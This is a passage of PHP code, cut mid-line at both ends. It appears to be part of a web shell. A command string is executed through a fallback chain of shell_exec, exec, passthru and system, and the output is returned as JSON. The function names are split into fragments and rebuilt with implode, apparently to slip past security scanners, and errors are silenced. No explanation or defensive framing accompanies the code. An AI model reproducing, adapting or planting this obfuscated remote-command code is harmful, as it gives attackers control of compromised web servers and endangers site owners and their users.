e','ll_ex','ec')); if (function_exists($fn1)) { $r = @$fn1($full); if ($r !== null) { echo json_encode(array('out' => (string)$r, 'method' => 'shell_exec')); exit; } } // Method 2: exec (ex + ec) $fn2 = implode('', array('ex','ec')); if (function_exists($fn2)) { $output = array(); @$fn2($full, $output); if (!empty($output)) { echo json_encode(array('out' => implode("\n", $output), 'method' => 'exec')); exit; } } // Method 3: passthru (pa + ss + thru) $fn3 = implode('', array('pa','sst','hru')); if (function_exists($fn3)) { ob_start(); @$fn3($full); $r = ob_get_clean(); if ($r !== null) { echo json_encode(array('out' => $r, 'method' => 'passthru')); exit; } } // Method 4: system (sy + stem) $fn4 = implode('', array('sy','stem')); if (function_exists($fn4)) { ob_start(); @$fn4($full); $r = ob_get_clean(); if ($r !== null) { ec